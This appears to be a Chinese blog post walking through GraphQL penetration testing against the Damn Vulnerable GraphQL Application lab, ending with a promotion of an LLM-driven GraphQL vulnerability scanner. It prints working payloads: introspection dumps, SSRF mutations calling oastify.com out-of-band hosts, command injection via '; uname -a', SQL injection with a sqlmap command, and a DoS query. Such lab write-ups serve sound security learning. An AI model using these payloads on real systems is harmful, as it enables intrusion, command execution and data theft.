Featured image of post GraphQL安全

GraphQL安全

GraphQL安全

参考资料:

https://mp.weixin.qq.com/s/-nR9YNFpw5a1FuRSZOf4Vw

https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

https://mp.weixin.qq.com/s/WoHEC50u7KACLLafZL5tww

https://mp.weixin.qq.com/s/mmJrE6uIBC-4ztr5PFZasA

https://www.yuque.com/henry-weply/penetration/ps5n3g#wERbE

https://xz.aliyun.com/news/14350

靶场项目地址:https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

1.GraphQL基础知识

1.1.什么是GraphQL

  1. GraphQL 是由 Facebook 开发的一种用于 API 的查询语言和运行时。
  2. 客户端可以精确指定所需数据,避免过度获取(over-fetching)或获取不足(under-fetching)。
  3. 与 REST 不同,GraphQL 通常通过单一端点(如 /graphql)接收所有请求。

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
REST示例

/api/users/1          查询ID为1的用户信息
/api/users/list       列出所有用户
/api/goods/1          查询ID为1的商品

GraphQL示例通常为POST请求Body为Json数据
/graphql

{
  "query": "query { user(id: \"1\") { name email } }"   //查询id为1的用户信息
}

1.2.核心概念

  1. Query:用于读取数据(类似 GET 请求)。
  2. Mutation:用于写入/修改数据(类似 POST/PUT/DELETE)。
  3. Schema:定义了 API 支持的类型、字段、查询和变更。
  4. Resolver:服务端函数,用于解析每个字段的数据来源。

2.GraphQL指纹识别

  1. 通过数据包查看

请求端点相同且请求体为Json格式,内容为

{

“query”: “query { user(id: "1") { name email } }”

}

img

  1. 通过工具graphw00f判断
1
python main.py --proxy=http://127.0.0.1:8080 -t http://192.168.242.215:5013/graphql -f

img

  1. 通过Burp插件InQL分析

img

img

3.GraphQL安全问题

1
2
3
4
5
6
7
是否存在 /graphql/graphiql/playground 等端点
 Introspection 是否开启能否获取完整 Schema
 能否通过字段猜测访问敏感数据 email, phone, role, passwordHash)?
 是否存在深度嵌套或循环查询导致 DoS
 Mutation 是否缺乏权限校验如删除他人数据)?
 错误信息是否泄露内部逻辑
 是否对查询频率/复杂度有限制

3.1.信息泄露攻击

1. Introspection(内省)泄露

GraphQL 默认开启内省功能(可通过 __schema 查询整个 Schema)。攻击者可借此了解 API 结构,发现敏感字段或未公开接口。相当于REST API 中 的Swagger接口文档泄露

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
    __schema {
        types {
            name
            fields {
                name
                type {
                    name
                }
            }
        }
    }
}

img

利用泄露的API结构在查询可能存在的敏感信息

img

解决方案:建议在生产环境中禁用内省查询,以此避免数据泄露风险。

2.graphiql接口泄露

GraphQL 内置了一款名为 GraphiQL的集成开发环境,它能够提供友好的可视化操作界面,帮助开发者编写和调试 GraphQL 查询语句。

GraphiQL 的访问路径通常为 /graphiql/console,/playground

img

3.GraphQL堆栈错误

1
2
3
query {
  system
}

img

4.SSRF漏洞

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /graphql HTTP/1.1
Host: 192.168.242.215:5013
Content-Length: 320
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Origin: http://192.168.242.215:5013
Referer: http://192.168.242.215:5013/import_paste
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: env=graphiql:disable
Connection: close

{"query":"mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n        importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n          result\n        }\n      }","variables":{"host":"w52ao9sfbm7939wjvqar5qaqkhq8ez2o.oastify.com","port":80,"path":"/","scheme":"http"}}

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
mutation ImportPaste (
  $host: String!,
  $port: Int!,
  $path: String!,
  $scheme: String!
) {
  importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {
    result
  }
}

{
  "host": "uwu8f7jd2ky7u7nhmo1pwo1obfh65ytn.oastify.com",
  "port": 80,
  "path": "/",
  "scheme": "http"
}

探测内网端口,存在端口会一直卡住,不存在端口直接返回

img

5.代码执行漏洞

1
2
3
4
5
mutation {
    importPaste(host: "localhost", port: 80, path: "/ ; uname -a", scheme: "http") {
        result
    }
}

img

查询操作 systemDiagnostics 出于调试目的,允许接收部分 UNIX 系统命令工具作为参数,例如 whoamips 等。该操作的作用类似于一个受限 shell

1
2
3
query {
    systemDiagnostics(username: "admin", password: "changeme", cmd: "id")
}

img

6.存储型XSS漏洞

发布帖子处和导入帖子处存在存储型XSS漏洞

img

img

7.SQL注入漏洞

1
2
3
4
5
6
query {
    pastes(filter: "aaa'") {
        content
        title
    }
}

单引号数据库报错

img

闭合单引号正常输出

img

将数据包保存为txt使用SQLMAP即可实现自动化注入

1
python sqlmap.py -r C:\Users\24767\Desktop\sql.txt --level 3 --batch -p filter

img

8.拒绝服务攻击DDOS

在 GraphQL 中,存在一种名为查询成本分析的机制。该机制会为那些解析开销较高的字段分配对应的权重值。借助这一功能,我们可以设定一个成本上限阈值,一旦查询的总成本超过该阈值,就直接拒绝执行此查询。除此之外,还可以实现缓存功能,避免在短时间内重复处理相同的请求。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
POST /graphql HTTP/1.1
Host: 192.168.242.215
Content-Length: 87
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Origin: http://192.168.242.215:5013
Referer: http://192.168.242.215:5013/my_pastes
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: env=graphiql:disable
Connection: close

{
    "query": "query GeneratedOperation {\n  systemUpdate\n}",
    "variables": {}
  }

img

总结:GoaphQL技术本质是一个接口文档类似于Swagger,包含接口端点和参数名参数类型,存在很多类型漏洞(包括常见Top10漏洞),挖掘思路就是利用泄露的端点和参数去Fuzz,从而判断是否存在漏洞

4.LLM-GraphQL

https://github.com/Lserein/LLM-GraphQL

Model-assisted Cyber Penetration for GraphQL 一个轻量级、AI 驱动的 GraphQL 自动化漏洞探测工具。利用大语言模型(LLM)智能分析 Schema,自动构造并验证 SSRF、RCE、信息泄露等漏洞。

🔍 功能特性

  • ✅ 自动 GraphQL 指纹识别(支持 100+ 常见路径)
  • ✅ 内省(Introspection)泄露检测与 Schema 获取
  • 完整内省查询:获取所有类型、枚举、输入类型、接口信息
  • ✅ Mutation & Query 参数自动提取与风险分析
  • AI 驱动:大模型生成 SSRF/RCE/SQLi/信息泄露 Payload
  • 智能 Fuzzing:AI 分析响应并迭代优化 Payload(默认启用,3 轮迭代)
  • 智能字段处理:使用 __typename 避免猜测字段错误
  • 多维度 RCE 检测:时间盲注 + 回显检测(whoami/id)+ OAST 外连
  • ✅ 自动漏洞验证(OAST + 时间盲注 + 关键词匹配)
  • 自动错误修复:GraphQL 语法错误自动修复与重试
  • HTML 报告生成:精美的漏洞报告,支持 HTML/JSON/Markdown 格式
  • 认证支持:自定义 Headers、Cookies、认证文件
  • 代理支持:HTTP/HTTPS/SOCKS5 代理,方便与 Burp Suite 联动
  • ✅ 清晰的控制台彩色输出
  • ✅ 支持多种 LLM(Qwen、Ollama/Llama3)

配置config.ini

img

1
python mcp-graphql.py --url http://

img

img

By Lsec
最后更新于 Jan 05, 2026 16:41 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ